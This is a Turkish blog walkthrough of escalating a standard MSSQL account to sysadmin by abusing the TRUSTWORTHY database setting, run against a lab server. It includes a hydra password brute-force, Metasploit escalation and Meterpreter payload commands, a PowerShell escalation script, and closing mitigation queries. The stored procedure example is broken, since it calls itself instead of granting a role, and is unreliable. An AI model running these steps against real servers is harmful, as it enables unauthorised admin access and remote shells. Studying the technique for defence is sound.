4 Şubat 2015 Çarşamba

MSSQL Veritabanının TRUSTWORTHY Özelliğinin İstismar Edilerek Hak Yükseltilmesi

MSSQL Veritabanının TRUSTWORTHY Özelliğinin İstismar Edilerek Hak Yükseltilmesi


MSSQL veritabanı yönetiminde, bir vertabanı nesnesi, başka bir veritabanının kaynaklarına (ağ paylaşımına, postalarına, prosedürlerine, fonksiyonlarına, nesnelerine,...) erişim sağlayabilir. Bunun için kaynaklara erişecek veritabanının TRUSTWORTHY özelliği etkinleştirilir. TRUSTWORTHY özelliği ON ise CLR kullanan veritabanı nesneleri, MSSQLSERVER servis kullanıcısının yetkileri dahilinde dış kaynaklara ulaşabilir , eğer "OFF" ise, CLR nesneleri, dış bir kaynağa ulaşmaya çalışırsa, hata alırlar. Ayrıca, yazılım geliştirirken Assembly dosyalarını SQL Server içine gömmek gerekebilir. Bu durum için de veri tabanında "db_owner" haklarına sahip olmak, işletim sisteminde SYSTEM yetkilerine sahip olmak veya veri tabanında "sysadmin" rolüne sahip olmak gereklidir.

Eğer MSSQL sunucuda bir veritabanı TRUSTWORTHY olarak ayarlanmış iken, bu veritabanının sahibi yüksek yetkili ise ve SQL Server üzerindeki standart yetkilere sahip bir kullanıcı hesabı (web uygulamasına ait bir veritabanı kullanıcısı gibi) da bu veritabanında tam yetkili ("db_owner" rolüne sahip) ise; standart yetkilere sahip olan hesap, veritabanının sahibinin yetkisi ile komut çalıştırılabilir. Örneğin, MSSQL sunucuda standart haklara sahip bu kullanıcı, kendisine MSSQL sunucusu üzerinde "sysadmin" rolü verebilir. Böylece MSSQL sunucusu üzerinde hak yükseltme işlemi gerçekleştirmiş olur.

Bu yazıda MSSQL veritabanında TRUSTWORTHY özelliği istismar edilerek "test" adlı standart bir veritabanı hesabının hakkı yükseltilecektir. Gerçekleştirilecek hak yükseltme işlemi 3 adımda incelenecektir:
1) "sa" hesabının sahibi olduğu MUSTERILER ve HESAPLAR adlı 2 veritabanı TRUSTWORTHY olarak ayarlanacak ve "test" adlı standart bir veritabanı hesabı MUSTERILER adlı veritabanında  "db_owner" olarak ayarlanacaktır.
2) MSF mssql_payload modülü ile Meterpreter bağlantısı elde edilmediği görülecektir.
3) Hak yükselme işlemi gerçekleştirilecek ve MSF mssql_payload modülü ile Meterpreter bağlantısının elde edilebildiği görülecektir.
4) Zafiyetin önlemleri incelenecektir. 

1) Mevcut Ortamın İncelenmesi

172.22.71.247 IP adresinde bir MSSQL veritabanı bulunmaktadır. Bu veritabanında, "test" adlı bir kullanıcı standart bir veritabanı hesabıdır:


"test" hesabı MUSTERILER veritabanında db_owner rolüne sahiptir:


"sa" hesabı da MUSTERILER veritabanında "db_owner" rolüne sahiptir:


MUSTERILER veritabanının TRUSTWORTHY özelliği aşağıdaki gibi etkinleştirilmiştir:
ALTER DATABASE MUSTERILER SET TRUSTWORTHY ON


Not: Benzer olarak HESAPLAR veritabanının TRUSTWORTHY özelliği de etkinleştirilir.

MUSTERILER veritabanının TRUSTWORTHY özelliği True olarak görüntülenmektedir:


Özetlemek gerekirse, MUSTERILER ve HESAPLAR veritabanları için TRUSTWORTHY etkindir. MUSTERILER veritabanında "sa" ve "test" hesapları, HESAPLAR veritabanında "sa" ve "deneme" hesapları db_owner rolündedir.
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a INNER JOIN sys.databases as b ON a.name=b.name;
GO 
use HESAPLAR
select rp.name as database_role, mp.name as database_user
from sys.database_role_members drm join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
GO 
use MUSTERILER
select rp.name as database_role, mp.name as database_user
from sys.database_role_members drm join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
GO


2) MSF ile Meterpreter Kabuğunun Elde Edilmeye Çalışılması

"test" hesabının kimlik bilgileri ile erişim sağlanabildiği hydra aracı ile aşağıdaki gibi tespit edilebilmektedir:
hydra mssql://172.22.71.247:1433 -L /root/Desktop/kullanicilar -P /root/Desktop/parolalar -o /root/Desktop/hydra_sonuclar


Ancak MSF mssql_payload modülü ile erişim sağlanamamaktadir. Modül seçenekleri aşağıdaki gibi ayarlanmıştır:
show options


MSF mssql_payload modülünün çalıştırılma sonucu başarısız olmuştur:
run


Meterpreter bağlantısının elde edilememesinin sebebi, "test" hesabının yetkisinin olmamasıdır.
Not: MSSQL sunucuda xp_cmdshell etkindir. Ancak yetersiz yetkiler sebebiyle komut satırı elde edilememiştir.

3) Hak Yükseltme İşleminin Gerçekleştirilmesi

"test" hesabının kimlik bilgileri ile hak yükseltilmesi 3 yöntem incelenecektir. Hak yükseltme işlemi için; MSF modülü, Stored Procedure veya Powershell betiği kullanılabilir.

i) MSF mssql_escalate_dbowner Modülü ile

MSF mssql_escalate_dbowner modülünün seçenekleri aşağıdaki gibidir:
search mssql_escalate_dbowner
use auxiliary/admin/mssql/mssql_escalate_dbowner
show options


Modül seçenekleri aşağıdaki gibi ayarlanabilir ve modül çalıştırılabilir:
set RHOST 172.22.71.247
set USERNAME test
set PASSWORD test
show options
run


Modül çalıştırıldıktan sonra, kontrol için MSF mssql_payload modülü çalıştırıldığında modülün başarılı bir şekilde çalıştığı görülmektedir:
use exploit/windows/mssql/mssql_payload
show options
run


Böylece MSSQLSERVER servisinin yetkileri ile Meterpreter bağlantısının açıldığı görülmektedir:
getuid
ifconfig


ii) Stored Procedure ile

Hak yükseltme işlemi, MSSQL Management Studio üzerinde komut çalıştırarak da gerçekleştirilebilir. Bu amaçla, MUSTERILER veritabanının altında bir Storede Procedure oluşturulabilir. Bu Stored Procedure, "test" hesabına sysadmin rolünü verecek şekilde hazırlanabilir. Daha sonra da, Stored Procedure ilgili veritabanı sahibinin ("sysadmin" rolündeki "sa" hesabının) hakkı ile çalıştırılabilir.

SELECT is_srvrolemember('sysadmin')
GO 
USE MUSTERILER
GO 
CREATE PROCEDURE sysadmin_rolune_ekle WITH EXECUTE AS OWNER AS EXEC sysadmin_rolune_ekle 'test','sysadmin'
GO 
SELECT is_srvrolemember('sysadmin')
GO


Böylece, "test" hesabı "sysadmin" rolüne sahip olmuştur.

iii) Powershell Betiği ile

Hak yükseltme işlemi için bağlantıdaki Powershell modülü de kullanılabilir. Modülün eklenmesi ve hak yükseltme işleminin gerçekleştirilmesi aşağıdaki gibidir:
Set-ExecutionPolicy Unrestricted
Import-Module  .\Invoke-SqlServer-Elevate-Dbowner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser test -SqlPass test -SqlServerInstance test

Böylece hak yükseltme işlemi gerçekleştirilmiştir.

4) Önlemler

Belirtilen hak yükseltme zafiyetinden korunmak için, TRUSTWORTHY özelliği etkin olan ve sahibi "sysadmin" rolünde olan veritabanları tespit edilmeli, sonra da veritabanlarından bu özellik devre dışı bırakılmalıdır. Bu amaçla aşağıdaki komutlar kullanılabilir.
SELECT SUSER_SNAME(owner_sid) AS DBOWNER, d.name AS DATABASENAME
FROM sys.server_principals r
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
INNER JOIN sys.server_principals p ON
p.principal_id = m.member_principal_id
inner join sys.databases d on suser_sname(d.owner_sid) = p.name
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'
GO 
ALTER DATABASE MUSTERILER SET TRUSTWORTHY OFF
GO 
ALTER DATABASE HESAPLAR SET TRUSTWORTHY OFF
GO


Kaynak:
https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/